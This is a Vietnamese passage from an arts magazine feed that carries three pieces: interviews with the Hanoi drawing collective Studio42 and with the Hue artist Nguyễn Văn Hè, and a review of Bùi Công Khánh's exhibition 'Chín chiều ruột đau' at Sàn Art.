Studio42: Studio42 được thành lập bởi một nhóm sinh viên đã quen biết từ khi còn học cùng trường, sau đó đã ra trường và bắt đầu đi làm để ổn định kinh tế. Chúng tôi chưa có dự định cụ thể nào ban đầu, nhưng muốn tạo ra một không gian sinh hoạt giống ở trường để nhắc nhở bản thân tiếp tục theo đuổi nghề hội họa. Chúng tôi mở một câu lạc bộ, sinh hoạt hai buổi một tuần, xây dựng chương trình kỹ càng và hấp dẫn để thu hút cả những người yêu thích hội họa. Đến khi có nhiều tranh vẽ, chúng tôi nảy ra ý tưởng tổng kết lại qua các cuộc triển lãm, tạo dấu mốc hàng năm. 

Không gian ký họa của Studio42 tại 21-23 Hàng Bún, Hà Nội (2022) (Trong chuỗi trưng bày Mở xưởng năm thứ 2 “42:2”). Ảnh: Studio42.

Họa sỹ Quyết Dương là người vận hành chính trong những năm đầu, còn các họa sỹ khác phụ trách tìm mẫu bên ngoài, hướng đến việc sáng tác gần gũi hơn với mọi người. Tới thời điểm hiện tại, anh Quyết lui về làm thành viên tham gia (2023-2024). Họa sỹ Hoàng Dung (Zun) trở thành người vận hành chung cho toàn bộ nhóm (2023-2025). Trong tương lai, các thành viên có thể đề xuất quay lại công việc vận hành khi phù hợp. Chúng tôi duy trì hoạt động vẽ hằng tuần, và từ triển lãm đầu tiên, việc tổ chức triển lãm nhóm đã trở thành hoạt động thường niên. Nhóm ngày càng mở rộng, không chỉ thực hành chung mà mỗi cá nhân cũng có sự phát triển riêng, kéo theo các hoạt động khác.

Studio42 vận hành phi lợi nhuận, thông qua câu lạc bộ và các kết nối. Ban đầu, chúng tôi gặp những hạn chế như vấn đề chuyển giao, mẫu khan hiếm, sự thay đổi thường xuyên về không gian và đôi khi là việc khan hiếm thành viên. Tuy nhiên, mọi thứ dần được cải thiện một cách tự nhiên: mẫu tự đến, bạn bè rủ nhau tham gia, và các thành viên đến với sự cam kết cao hơn, không chỉ đến để ký họa vài bức mà muốn gắn bó lâu dài. Dù không có ý định tạo ra một điều gì quá thu hút, chúng tôi lại nhận được sự ủng hộ lớn. Truyền thông cũng góp phần quan trọng trong việc gắn kết với khán giả. 

Studio42 giống như một “cứu cánh” giúp chúng tôi bắt nhịp lại với nghệ thuật và góp phần vào ngôi nhà chung. Các thành viên nữ làm tốt hơn trong khâu tổ chức, và nhu cầu cơ bản của mỗi người là vẽ đã dẫn dắt đến các hoạt động khác của nhóm. Với họa sỹ Thảo Phương, bản thân chị tìm thấy sức hút của nhóm qua những bức tranh trên Facebook. Là một người từng vẽ một mình và không có cộng đồng, chị thấy “như cá gặp nước” khi vào nhóm, bởi nơi đây giúp chị được cuốn vào việc vẽ mà không bị mất tập trung.

Không gian ký họa hằng tuần của Studio42 tại Cung Việt Xô Hà Nội. Ảnh: Studio42.

So với việc thực hành độc lập, ưu điểm và nhược điểm mà Studio42 nhận thấy khi thực hành như một tập thể là gì?

Studio42: Studio42 nhận thấy việc thực hành theo tập thể mang lại nhiều ưu điểm rõ rệt, đặc biệt là việc tạo dựng một cộng đồng vững chắc để chia sẻ và hỗ trợ lẫn nhau. Chúng tôi vẫn giữ được sự độc lập trong sáng tác cá nhân, với lịch sinh hoạt chung chỉ một buổi mỗi tuần. Ưu điểm lớn nhất là có một môi trường để các thành viên, đặc biệt là những người mới ra trường, có cơ hội gặp gỡ, trao đổi kinh nghiệm và duy trì thói quen vẽ một cách đều đặn. Nếu thiếu đi những buổi sinh hoạt “hữu cơ” và tự nhiên này, việc duy trì nhịp điệu sáng tác cá nhân sẽ rất khó khăn. Mặc dù tên nhóm Studio42 được truyền thông rộng rãi hơn tên cá nhân các thành viên, nhóm lại không giới hạn thành viên tham gia, từ đó tạo ra một cộng đồng lớn mạnh với sự riêng tư được tôn trọng.

Các thành viên của Studio42 trong đợt triển lãm “42:3: GÓI – MỞ”. Ảnh: Studio42.

Công việc tổ chức triển lãm thường là vai trò của các phòng tranh/ không gian nghệ thuật. Studio42 đã gặp phải những thử thách gì khi thực hiện công việc này? 

Studio42: Việc tổ chức triển lãm, đặc biệt tại các không gian chuyên nghiệp như VCCA, thực sự là một thử thách lớn và không phải là thế mạnh của Studio42. Chúng tôi đã phải học cách thích nghi với quy trình của đối tác như chuẩn bị hồ sơ và kiểm soát chặt chẽ các quyền lợi. Quá trình truyền thông cũng đòi hỏi sự kiểm duyệt nhiều lần. Bên cạnh đó, nhóm còn trực tiếp tham gia vào các công đoạn như sơn sửa, điều chỉnh ánh sáng để đảm bảo không gian trưng bày được chau chuốt nhất.

Các thành viên Studio42 bàn bạc phương án sắp đặt tác phẩm cho triển lãm “Nhịp bơi sải” (2025) tại VCCA, Hà Nội. Ảnh: Studio42.

Năm nay, toàn bộ nhóm đã chủ động tự phân bổ công việc. Điều này giúp chúng tôi nhận ra rằng “tinh thần tổ chức là việc chung”, đòi hỏi không chỉ ban tổ chức mà tất cả các họa sỹ tham gia đều phải chủ động. Mục tiêu chung là giữ bình tĩnh để tìm ra giải pháp cho mọi vấn đề phát sinh, kể cả những việc nằm ngoài dự kiến. Khi tổ chức triển lãm, chúng tôi không chỉ chịu trách nhiệm cho tác phẩm cá nhân mà còn cho cả một tập thể. Dù có người ra quyết định cuối cùng, nhưng tính tự nguyện của hoạt động khiến thời gian chờ đợi đôi khi kéo dài, ảnh hưởng đến tiến độ. Bên cạnh đó, các thành viên cũng nhịp nhàng phân công nhiều vai trò từ truyền thông, sắp xếp mẫu đến hỗ trợ tài chính, tổ chức và đối ngoại.

Các thành viên chủ chốt của Studio42 (từ trái sang phải): Lê Anh Dũng (1991), Nguyễn Hoàng Dung (Zun) (1995), Cao Văn Thục (1995), Quyết Dương (1990). Ảnh: Studio42.

6. Là một nhóm nghệ sỹ trẻ, Studio42 đã có độ phủ sóng nhất định trên nền tảng mạng xã hội. Quan điểm của mọi người về việc tự quảng bá thực hành của mình? 

Studio42: Chúng tôi tin rằng truyền thông là một công việc cần thiết và nghệ sỹ nên tận dụng triệt để sức mạnh của nó. Mạng xã hội không chỉ giúp tiếp cận người xem hay người mua tiềm năng mà còn mở rộng cộng đồng quan tâm đến nghệ thuật nói chung, tạo ra nhiều cơ hội và giúp dễ dàng tìm kiếm thông tin về nhà tổ chức hay các nghệ sỹ khác. Với một nhóm như Studio42, việc lan tỏa thông điệp trở nên dễ dàng hơn, khi các cá nhân thường có tâm lý ngại tự quảng bá.

Với vai trò là một tập thể, Studio42 có thể thu hẹp khoảng cách này. Mục đích truyền thông cũng có sự khác biệt: Studio42 hướng đến một tệp khán giả riêng, trong khi danh tiếng chuyên môn vẫn thuộc về từng nghệ sỹ cá nhân. Studio42 đóng vai trò như một cầu nối, giới thiệu các nghệ sỹ tham gia, giúp họ đến gần hơn với công chúng so với việc chỉ tự truyền thông cá nhân. Tài khoản mạng xã hội của nhóm hoạt động tích cực, nhưng các nghệ sỹ thường giữ sự “low-key”. Rõ ràng, truyền thông đóng một vai trò cực kỳ quan trọng đối với sự phát triển của nhóm, đặc biệt trong bối cảnh cơ hội cho nghệ sỹ trẻ còn hạn chế. Nhờ Studio42, thực hành của chúng tôi được chia sẻ rộng rãi hơn, vượt xa những giới hạn ban đầu.

Không gian triển lãm “Nhịp bơi sải” (2025) tại VCCA, Hà Nội. Ánh: Studio42.

7. Trong thời gian triển lãm, Studio42 cũng đã tổ chức tour nghệ thuật để giới thiệu về tác phẩm và ý tưởng của từng nghệ sỹ. Việc có những buổi phân tích mở cho công chúng nới rộng cơ hội tới những khán giả quan tâm, giúp các cuộc đối thoại mang nhiều tính gợi mở hơn. Việc kết nối với khán giả so với kết nối với phòng tranh sẽ khác ra sao?

Studio42: Ý tưởng tổ chức tour nghệ thuật ban đầu xuất phát từ gợi ý của bên địa điểm. Mặc dù các họa sỹ có phần e ngại, nhưng đây là một thử thách đồng thời là cơ hội quý giá để tiếp cận gần hơn với khán giả. Chúng tôi chia sẻ một cách gần gũi, không quá học thuật hay cao siêu. 

Đối với nghệ sỹ, vẽ là sự thể hiện nội tâm, là tiếng nói riêng. Nhiều khi, chỉ bức tranh thôi là chưa đủ, chúng tôi muốn chia sẻ sâu hơn về tác phẩm. Với một triển lãm nhỏ như của Studio42, có nhiều tác giả và nhiều câu chuyện đan xen, một người dẫn không thể lột tả hết. Do đó, những người đồng hành trong nhiều tháng làm việc cùng chúng tôi sẽ hiểu sâu sắc hơn và có sức thuyết phục hơn khi dẫn tour.

Cá nhân họa sỹ Thảo Phương đã tham gia tour nghệ thuật, và khi đến tác phẩm của mình, chị thấy mọi người như “đứng hình”. Khi chị chia sẻ ý nghĩa đằng sau bức tranh, các bạn họa sỹ khác cũng bày tỏ sự bất ngờ vì có những điều họ chưa từng nghĩ tới. Tranh của chị không chỉ đơn thuần tả cảnh, mà chọn lọc hình ảnh để tạo sự tương đồng với điều mình muốn truyền tải, bao gồm cả những yếu tố xung quanh bức tranh.

Đây không chỉ là việc nghĩ đến khán giả, mà còn là học cách giao tiếp. Sự đồng hành của nhóm giúp chúng tôi không chỉ nói về tác phẩm mà còn kể về tác giả, giúp khán giả hiểu được lý do và hành trình ra đời của mỗi tác phẩm. Những năm trước không có người dẫn tour, nhưng năm nay có họa sỹ Khánh Vân hỗ trợ, phía nghệ sỹ chúng tôi thấy đây là một hoạt động vô cùng cần thiết.

Tour nghệ thuật “GIỮ NHỊP GIỮA BIỂN RỘNG” trong khuôn khổ triển lãm “Nhịp bơi sải” (2025), VCCA, Hà Nội. Ảnh: Studio42.

8. Dự định và mong muốn trong tương lai của Studio42 là gì?

Studio42: Đầu tiên, chúng tôi sẽ tiếp tục duy trì hoạt động vẽ mẫu vào thứ Bảy hàng tuần. Thứ hai, đối với dự án “42OUTSIDE” – như đã chia sẻ trên mạng xã hội – các thành viên sẽ tự thành lập các nhóm nhỏ (từ 2–4 người) để thử nghiệm những chất liệu mới, không gian mới và cách tiếp cận mới trong sáng tạo. Các nhóm nhỏ này sẽ có sự tương tác sâu sắc hơn, hướng tới chất lượng nghệ thuật cao hơn và tìm kiếm những đối tác phù hợp. Điều này cũng giúp giảm thiểu các vấn đề phát sinh so với hoạt động nhóm lớn.

“42OUTSIDE” hướng đến việc chú trọng vào quá trình hơn là kết quả cuối cùng, nhằm duy trì tinh thần sáng tạo và nâng cao chuyên môn, đồng thời bảo vệ tốt hơn tinh thần của họa sỹ và phân tán các chức năng khác nhau. Chúng tôi có thể hoạt động ở nhiều không gian khác nhau. Thay vì tìm kiếm sự hỗ trợ từ bên ngoài, Studio42 tận dụng các kết nối sẵn có trong cộng đồng nghệ thuật, từ thế hệ tiền bối cho đến những nghệ sỹ trẻ hơn. Trong tương lai, các thành viên mới, dù không quá quan tâm đến ký họa, vẫn có thể tham gia vào các nhóm nhỏ này. Chúng tôi mong muốn nới rộng phạm vi và đối tượng tham gia.

Thành viên Studio42 trong chuyến đi Quy Nhơn thuộc dự án “42OUTSIDE” mùa 2. Ảnh: Studio42.

Về triển lãm, chúng tôi cần thời gian để cân nhắc kỹ lưỡng, có thể mất khoảng 1 năm rưỡi để chuẩn bị. Các triển lãm nhóm nhỏ trong tương lai sẽ đặc biệt chú trọng vào chất lượng, phải diễn ra một cách tự nhiên và có khả năng lưu trữ nhiều tác phẩm. Chúng tôi mong muốn các thành viên có tinh thần cầu tiến và xây dựng để giảm thiểu tối đa các mâu thuẫn. Mọi hoạt động sẽ được ghi lại dưới dạng hình ảnh để tạo cảm hứng, và các tác phẩm sẽ được thực hiện một cách nghiêm túc hơn, có trách nhiệm và kế hoạch cụ thể hơn.

Xin cảm ơn Studio42 vì những chia sẻ thú vị. Mong rằng Studio42 sẽ có thêm nhiều hoạt động lan tỏa và thành tựu mới trong cộng đồng nghệ thuật Việt Nam!

Thực hiện: Trao

The post Studio42 – Một tập thể “hữu cơ” appeared first on Art Republik.

]]>
Nguyễn Văn Hè: “Hành trình nghệ thuật của tôi gắn liền với tuổi thơ thời hậu chiến” https://artrepublik.vn/nguyen-van-he-hanh-trinh-nghe-thuat-cua-toi-gan-lien-voi-tuoi-tho-thoi-hau-chien/ Mon, 30 Dec 2024 05:29:22 +0000 https://artrepublik.vn/?p=9716 Nguyễn Văn Hè (sinh năm 1981), tốt nghiệp Trường Đại học Mỹ thuật Huế, là một nghệ sỹ đương đại. Sinh ra và lớn lên sau chiến tranh, anh thể hiện mối quan tâm sâu sắc với các ký ức và các tàn dư của quá khứ và luôn truy vấn các cảm xúc, suy […]

The post Nguyễn Văn Hè: “Hành trình nghệ thuật của tôi gắn liền với tuổi thơ thời hậu chiến” appeared first on Art Republik.

]]>
Nguyễn Văn Hè (sinh năm 1981), tốt nghiệp Trường Đại học Mỹ thuật Huế, là một nghệ sỹ đương đại. Sinh ra và lớn lên sau chiến tranh, anh thể hiện mối quan tâm sâu sắc với các ký ức và các tàn dư của quá khứ và luôn truy vấn các cảm xúc, suy tư của thế hệ tiếp nối về sự lặp lại và tuần hoàn của các xung đột trong bối cảnh đan xen giữa thời bình và thời chiến. Với chủ đề này, thực hành của anh trải dài từ hội họa, điêu khắc, trình diễn tới sắp đặt; anh kiên trì thu thập các mảnh vỡ, phế liệu từ chiến khu quân đội hay các khu tàn tích địa phương.

Với Nguyễn Văn Hè, việc sáng tạo trên nhiều loại hình và chất liệu nghệ thuật là một cuộc dạo chơi, nơi anh tìm kiếm cách thức biểu đạt tốt nhất cho ý tưởng của mình. Tác phẩm của anh nằm trong các bộ sưu tập tại Mỹ, Pháp, Đức, Úc, Indonesia và Thái Lan. Nguyễn Văn Hè đạt giải Vàng hạng mục Nghệ sỹ Thành danh trong cuộc thi UOB Painting of the Year năm 2024 và nhiều giải thưởng nghệ thuật khác trong nước.

Vào tháng 10 vừa qua, không gian Nguyễn Văn Hè’s Art Barracks chính thức mở cửa tới cộng đồng yêu nghệ thuật tại Huế. Nhân đó, Art Republik đã có dịp ngồi lại và lắng nghe hành trình nghệ thuật bền bỉ của nghệ sỹ Nguyễn Văn Hè.

Chúc mừng anh đã ra mắt không gian Nguyễn Văn Hè’s Art Barracks! Anh có thể chia sẻ quá trình thai nghén, lên ý tưởng cũng như hoàn thiện không gian này?

Ý tưởng cho không gian Nguyễn Văn Hè’s Art Barracks bắt đầu cách đây đúng 10 năm, khi tôi thực hiện tác phẩm điêu khắc sắp đặt “Trò Chơi”. Đó là một tác phẩm mà tôi vô cùng tâm đắc, với hình ảnh những chiếc máy bay giấy được xếp từ chất liệu sắc lấy từ thùng phuy chứa chất độc da cam, cao 225 cm. Tác phẩm này mang nhiều câu chuyện và nhân duyên đặc biệt, và tôi đã quyết định lấy cảm hứng từ nó để thiết kế không gian sống và sáng tác của mình.

Nguyễn Văn Hè, Trò Chơi (2014), 165 x 165 x 225 cm, điêu khắc sắt thùng phuy đi-ô-xin

Ngay từ khi bắt đầu học nghệ thuật, tôi luôn ấp ủ một khao khát mạnh mẽ là tạo ra không gian riêng để thực hành nghề và sống trọn vẹn với sáng tạo. Ý tưởng đó dần hình thành qua nhiều năm thực hành, cho đến khi tôi chọn được địa điểm ưng ý nhất vào năm 2020 để hiện thực hóa nó.

Tôi may mắn khi mọi việc diễn ra thuận lợi và có sự hỗ trợ từ những cộng sự nhiệt huyết. Họ làm việc với niềm đam mê như thể đang hoàn thiện chính tác phẩm của mình. Một sự tình cờ đầy ý nghĩa là những tấm ry từ các khu quân sự cũ đã được thanh lý đúng thời điểm và được tôi sử dụng để hoàn thiện thiết kế, tạo hình máy bay giấy cho không gian.

Mọi thứ như hội tụ, đáp ứng mong muốn sâu thẳm của tôi, và nhờ đó không gian Nguyễn Văn Hè’s Art Barracks đã được hoàn thiện, trở thành một phần tiếp nối cho hành trình sáng tạo và cuộc đời nghệ thuật của tôi.

Ngoại cảnh không gian Nguyễn Văn Hè’s Art Barracks

Với một khán giả chưa biết tới thực hành của Nguyễn Văn Hè, các tác phẩm tiêu biểu nào sẽ giúp họ có cái nhìn bao quát về thực hành của anh?

Nhiều người khi gặp tôi thường nói: “Nhìn Hè là biết nghệ sỹ rồi,” bởi nhân dạng của tôi phần nào phản ánh điều đó. Những ai yêu thích đời sống và tác phẩm của tôi đều muốn hiểu thêm về con người nghệ sỹ phía sau. Tôi luôn sẵn lòng chia sẻ hành trình của mình, từ đời sống cá nhân đến quá trình thực hành và hoàn thiện một tác phẩm.

Tôi tin rằng khoảnh khắc một người đứng trước tác phẩm của tôi là lúc họ thật sự cảm nhận và thấu hiểu nó rõ nhất. Đây cũng chính là lý do tôi mở cửa không gian sáng tác của mình, để công chúng yêu nghệ thuật có cơ hội tiếp cận gần hơn với đời sống thực hành của một nghệ sỹ.

Trong các tác phẩm của tôi, “Xếp Máy Bay” là một ví dụ tiêu biểu, thể hiện rõ quá trình triển khai ý tưởng và cấu trúc nghệ thuật. Tác phẩm này không chỉ phản ánh sự sáng tạo đa dạng trong thực hành của tôi mà còn mở ra câu chuyện về hành trình nghệ thuật mà tôi muốn chia sẻ cùng mọi người. 

Nguyễn Văn Hè, Xếp Máy Bay (2024), 244 x 122 cm, sơn mài bạc lá trên ván ép Mỹ thời chiến tranh Việt Nam

Anh có thể chia sẻ về hành trình nghệ thuật của mình và những trải nghiệm, ký ức nào đã định hình nên phong cách sáng tác của anh?

Tôi sinh ra tại chiến khu Hòa Mỹ, nơi tôi lớn lên giữa vùng đất bị tàn phá bởi bom đạn. Gia đình tôi sống trong một ngôi làng đầy rẫy những dấu tích chiến tranh, nơi mọi gia đình đều phải dựng nhà bên cạnh hố bom. Những hố bom ấy, vốn là vết tích đau thương, lại trở thành nguồn nước sinh hoạt cho mỗi nhà. Tuổi thơ của tôi nhuốm màu tang thương khi ngày ngày chứng kiến những mất mát từ bạn bè, người thân do bom mìn còn sót lại sau chiến tranh.  

Khi vào học Đại học Mỹ thuật trong Thành Nội, mỗi buổi trưa tôi thường lang thang quanh thành để vẽ. Tôi bị thu hút bởi những mảnh gạch ngói vỡ vương vãi, những vết đạn hằn sâu trên tường, và cả những món đồ chiến tranh được bày bán ở phố Trần Hưng Đạo, chợ Tây Lộc, chợ Đông Ba. Tôi thường sưu tầm và lưu giữ những kỷ vật ấy, coi chúng như những mảnh ghép của ký ức.  

Sau khi tốt nghiệp, tôi trở về quê. Một buổi trưa nọ, tiếng nổ lớn bất ngờ vang lên khiến tôi giật mình tỉnh giấc. Trong khoảnh khắc đó, mọi ký ức tuổi thơ ùa về. Sự hiện diện của quá khứ ấy đã khiến tôi suy ngẫm thật nhiều. Tôi thấu hiểu triết lý phương Đông, quy luật của vũ trụ và sự vận hành của tứ đại. Từ đó, tôi học cách sống trong hiện tại và kết nối sâu sắc với những gì hiện hữu trước mắt mình.  

Chính vì thế, tôi luôn cố gắng đánh thức thời hiện tại, sử dụng ngôn ngữ nghệ thuật để truyền tải những trải nghiệm, suy tư và câu chuyện của mình về cuộc sống thời hậu chiến tranh Việt Nam. 

Không gian bên trong Nguyễn Văn Hè’s Art Barracks

Trong quá trình thực hành của mình, anh đã trải qua nhiều giai đoạn khác nhau. Ở thời điểm những năm 2010, anh có thực hành trình diễn và các tác phẩm này thường có sự xuất hiện của những chất lỏng màu đỏ và màu xanh. Anh có thể chia sẻ ý niệm về một số tác phẩm tiêu biểu, như “Vòng Vây,” “Thế Trận,” “Cảm Nhận,”… được không? 

Khi mọi thứ như kìm hãm chính mình hoặc bởi môi trường sống xung quanh, tôi luôn khao khát tìm một lối thoát và tự hỏi: “Lưới trời ai dệt?”. “Vòng Vây” như biểu tượng cho một vòng tròn trái đất, nơi hành trình của đời người bắt đầu và kết thúc trong vòng tròn, cứ lặp đi lặp lại trên một mảnh đất nhất định—dù đó là vũng lầy, rừng xanh hay sa mạc. Tác phẩm phản ánh triết lý Phật giáo về sự giải thoát qua nhận thức “Duy Ngã Độc Tôn,” dù giải thoát ấy không tránh khỏi sự đau khổ.

Nguyễn Văn Hè, Vòng Vây (2008), Chung kết cuộc thi trình diễn tại Đan Mạch

Thời điểm thực hiện tác phẩm “Thế Trận”, tôi đã ăn chay được ba năm và sống trong “thất” trên dãy Ngũ Phong, Huế. Tôi sống một mình, thực hành thiền hành và quan sát sự vận hành của mọi thứ xung quanh. Quá trình chứng kiến cảm thấu đến mọi thứ khiến tôi thấm thía sự chết chóc: từ những loài vật bị giết, đến sự đau đớn của cây cỏ khi bị chặt, nơi máu và nhựa sống của cây hòa lẫn.

Tôi nhìn thấy con người luôn chiến đấu để sinh tồn, những cách họ làm điều đó—phá rừng, giết mổ động vật, tranh giành quyền lực—lại gây ra những bi kịch như chiến tranh và hủy hoại môi trường. Sự ghê rợn từ những gì tôi thấy đã thôi thúc tôi thực hiện “Thế Trận,” truyền tải thông điệp đến công chúng về vòng xoáy bạo lực và sinh tồn của con người đang diễn ra trước mắt, để người trực tiếp xem hành vi của nghệ sĩ phản ánh đến xã hội hiện thực một cách trực diện.

Nguyễn Văn Hè, Thế Trận (2013), Giải thưởng Trình diễn tại Triển lãm Mỹ thuật Trẻ Việt Nam

Sau những năm tháng mãnh liệt, tôi bắt đầu khao khát sự bình yên. Tác phẩm “Cảm Nhận” phản ánh mong muốn được hòa mình vào thiên nhiên, lắng nghe hơi thở của cỏ cây hoa lá, và cảm nhận sự kết nối giữa con người với vạn vật.

Đối với tôi, vẻ đẹp của thiên nhiên đôi khi hiển hiện rõ rệt nhất khi đối diện với người phụ nữ—bông hoa của tạo hóa. Trong tác phẩm, màu xanh tượng trưng cho bầu trời và dòng nước để tạo nên một bông hoa màu xanh như một sự lựa chọn của chính mình. 

Nguyễn Văn Hè, Cảm Nhận (2011), Giải Ba tại Triển lãm Mỹ thuật Trẻ Việt Nam

Việc chuyển giao từ hội họa, tới trình diễn, rồi sắp đặt đến với anh ra sao? Có phải từ đầu anh đã luôn suy nghĩ mình với tư cách là một nghệ sỹ đa phương tiện hay là chất liệu và ý tưởng sẽ đến với anh theo từng giai đoạn?

Tôi được đào tạo chuyên ngành sơn mài tại trường Đại học Mỹ thuật, Đại học Huế, nhưng luôn khám phá bản thân qua nhiều chất liệu và loại hình nghệ thuật khác nhau. Trong hành trình học tập, tôi có cơ hội tham gia các khóa học về nghệ thuật đương đại, bao gồm sắp đặt, trình diễn, video art, và cả các chương trình đào tạo về giám tuyển (curator) ở khắp 3 miền.

Năm 2006, tôi tham dự khóa học do nghệ sỹ Veronica Radulovic người Đức tổ chức, mời các chuyên gia quốc tế giảng dạy. Đến năm 2013, tôi tiếp tục học các lớp giám tuyển do giảng viên người Pháp và Singapore hướng dẫn. Tôi cũng tham gia nhiều workshop trình diễn cùng những nghệ sỹ như Seiji Shimoda, Trần Lương, và nhiều nghệ sỹ khác từ trong và ngoài nước.

Khi xây dựng ý tưởng cho một tác phẩm, tôi luôn cân nhắc loại hình nào là phù hợp nhất để truyền tải ý tưởng, và từ đó chọn cách thực hiện tối ưu cho tác phẩm của mình. Việc thực hành nghệ thuật của tôi trên các loại hình nghệ thuật hay chất liệu như cuộc dạo chơi vậy, việc thực hiện làm sao cho ý tưởng tốt nhất là tôi làm, tôi luôn trôi vào không gian hiện thực hay siêu thực khi chọn ngôn ngữ thể hiện của mình, điều đó làm tôi hạnh phúc nhất với hành vi của mình và tính biểu cảm toàn vẹn nhất đến khi chạm vào công chúng.

Chân dung nghệ sỹ Nguyễn Văn Hè

Tiếp nối việc mở cửa không gian Nguyễn Văn Hè’s Art Barracks, anh đã có những dự định gì cho năm 2025 sắp tới?

Hiện tại, tôi đang chuẩn bị cho một số dự án nghệ thuật tiếp theo, không chỉ trong năm 2025 mà còn cho những năm sau. Đặc biệt, tôi đang triển khai các cấu trúc mới cho loạt tác phẩm lớn, dự kiến sẽ được giới thiệu trong một triển lãm cá nhân. Đây là một hành trình đầy hứng khởi, mang lại cho tôi nhiều năng lượng tích cực xen lẫn sự hồi hộp.

Quá trình này bao gồm việc phác thảo, thiết kế trên máy, làm mô hình và hiện thực hóa ý tưởng. Tôi hy vọng cảm xúc và tư duy sẽ hòa quyện tốt để tạo ra những tác phẩm ấn tượng nhất trong khả năng hiện tại. Mọi sự chuẩn bị đã sẵn sàng, hứa hẹn một chặng đường thú vị và đầy cảm hứng cho hành trình nghệ thuật sắp tới của tôi.

Cảm ơn nghệ sỹ Nguyễn Văn Hè đã dẫn dắt khán giả về hành trình sáng tạo nghệ thuật của anh. Art Republik chúc anh luôn giữ được ngọn lửa nhiệt huyết cống hiến cho đời sống nghệ thuật của mình!

Thực hiện: Trao

The post Nguyễn Văn Hè: “Hành trình nghệ thuật của tôi gắn liền với tuổi thơ thời hậu chiến” appeared first on Art Republik.

]]>
“Chín chiều ruột đau” – Phản tư nỗi đau bằng lục phủ ngũ tạng https://artrepublik.vn/chin-chieu-ruot-dau-phan-tu-noi-dau-bang-luc-phu-ngu-tang/ Wed, 25 Dec 2024 10:18:02 +0000 https://artrepublik.vn/?p=9674 Tiếp nối thành công của “Dislocate”, triển lãm solo “Chín chiều ruột đau” của Bùi Công Khánh đưa người xem vào một hành trình khám phá sâu thẳm bên trong tâm hồn nghệ sĩ. Qua những tác phẩm đầy ám ảnh và gai góc, người nghệ sĩ đặt ra những câu hỏi về cuộc sống, […]

The post “Chín chiều ruột đau” – Phản tư nỗi đau bằng lục phủ ngũ tạng appeared first on Art Republik.

]]>
Tiếp nối thành công của “Dislocate”, triển lãm solo “Chín chiều ruột đau” của Bùi Công Khánh đưa người xem vào một hành trình khám phá sâu thẳm bên trong tâm hồn nghệ sĩ. Qua những tác phẩm đầy ám ảnh và gai góc, người nghệ sĩ đặt ra những câu hỏi về cuộc sống, cái chết và sự tồn tại của con người.

Những khúc ruột quấn theo cột sứ treo lơ lửng trên không trung, trái tim phủ đầy rêu xanh trong chậu cá; trên màn hình, ta thấy những bước đi lần mò trong cái tối tăm của lục phủ ngũ tạng. Cứ thế ta thấy chính mình ở khắp nơi trong không gian này, những khúc ruột thê lương, trái tim còn nóng hổi, lý trí như chìm trong màn sương dày, liệu ta đã thấy những thứ này ở nơi đâu? 

Hình ảnh không gian triển lãm tại Sàn Art. Nguồn: Sàn Art.

Bùi Công Khánh (sn. 1972) là một trong những người tiên phong trong trường phái nghệ thuật ý niệm của Việt Nam, người nghệ sĩ có một niềm say mê sâu sắc với những giả định xã hội về di sản văn hóa. Các tác phẩm của Bùi Công Khánh giống như những cuộc khai quật khảo cổ, đào sâu vào những lớp trầm tích văn hóa để tìm kiếm những giá trị ẩn giấu. Ông đặc biệt quan tâm đến những giả định xã hội về di sản văn hóa, những quan niệm đã ăn sâu vào tiềm thức con người. Qua những tác phẩm của mình, người nghệ sĩ phơi bày và thách thức người xem phản tư về những giá trị xã hội làm cho con người quên lãng đi mối liên kết thân mật và cảm xúc cá nhân.

Bùi Công Khánh tại khai mạc triển lãm tại Sàn Art. Nguồn: Sàn Art

“Chín chiều ruột đau” (An Anatomy of Sadness) đem đến cho khán giả một góc nhìn thẳng thắn và gai góc về cái chết. Định nghĩa sự băng hoại, người nghệ sĩ chạm khắc những khúc ruột và nội tạng cơ thể lên những mảnh gốm sứ trắng, những khúc gỗ vô tri, biến chúng thành những thực thể sống. Không gian trưng bày trở thành một căn phòng phẫu thuật, Bùi Công Khánh xẻ nhỏ những lớp lang mà con người đắp lên mình trên con đường đi tìm ý nghĩa của cuộc sống, mở ra cái nhìn trần trụi lên cơ thể ruột thịt. Trái tim nóng hổi hiện ra, những khúc ruột thê lương hiện hữu như một ngôi đền linh thiêng trong cơ thể của người mẹ đã sinh ra đứa trẻ. 

Những tác phẩm xuyên suốt căn phòng hiện diện cho những cuộc sống sinh sôi từ hư vô, khi rời bụng mẹ cho đến khi cái chết dần dần hiện hữu xung quanh, đem đi tất cả những ai ta từng biết. Cái chết thật thê lương, bi thảm, một nỗi buồn xuyên thấu khi bộ não dần dần học cách tiếp nhận cái kết của mình. Những tác phẩm điêu khắc từ gỗ, từ gốm nung của Bùi Công Khánh đem lại sự chân thật và gai góc. 

Bùi Công Khánh, “Kẻ tội lỗi” (2024), nhựa epoxy, inox, 150 x 120 cm. Nguồn: Sàn Art

Chiều chiều ra đứng ngõ sau
Trông về quê mẹ, ruột đau chín chiều.”

Vượt qua khỏi kí tự chữ viết, những tác phẩm của Bùi Công Khánh lột tả nỗi buồn đa diện qua ngôn ngữ mẹ đẻ, là mối liên kết thiêng liêng giữa người mẹ và đứa trẻ của mình, qua từng thớ ruột quặn đau. Mở tung cơ thể ra, những dấu ấn của sự sống hiện rõ mồn một trong mắt khán giả, người nghệ sĩ gọi tên nỗi buồn về cái chết không xa đâu ngoài chính cơ thể băng hoại của con người, gạt đi những đức tin mù quáng và sự hoan lạc xa xôi, ý niệm về cuộc sống và cái chết được thể hiện qua những điêu khắc sắp đặt, những mảnh gốm sứ, trong căn buồng với những cái tên được đặt từ thuở khai sinh mẹ đẻ.

Bùi Công Khánh, “Giường massage” (2023–2024), gỗ xá xị, chạm khắc, video, inox, 183 x 46 x 75 cm. Nguồn: Sàn Art

Bước vào không gian trưng bày, khán giả được mời gọi để tham gia vào một cuộc đối thoại thẳng thắn với người nghệ sĩ về ý nghĩa cuộc sống và hành trình chữa lành khỏi sự ám ảnh của cái chết. Bằng cách tiếp nhận nỗi buồn từ trong chính bản thân mình, người xem có cơ hội được phản tư với bản thân qua những hình ảnh quen thuộc từ chính cơ thể trần trụi, vốn bị che dấu bởi những lớp lang xác thịt và quên lãng trong hành trình trốn tránh cái chết. 

Thảo Phương

                                                                                                  

THÔNG TIN TRIỂN LÃM:

Thời gian: 15.11.2024 – 15.02.2025

Giờ mở cửa: T3-T7, 11h-18h

Địa điểm: Sàn Art, Millennium Masteri, B6.17 & B6.16, 132 Bến Vân Đồn, Quận 4, TP Hồ Chí Minh.

The post “Chín chiều ruột đau” – Phản tư nỗi đau bằng lục phủ ngũ tạng appeared first on Art Republik.

]]>
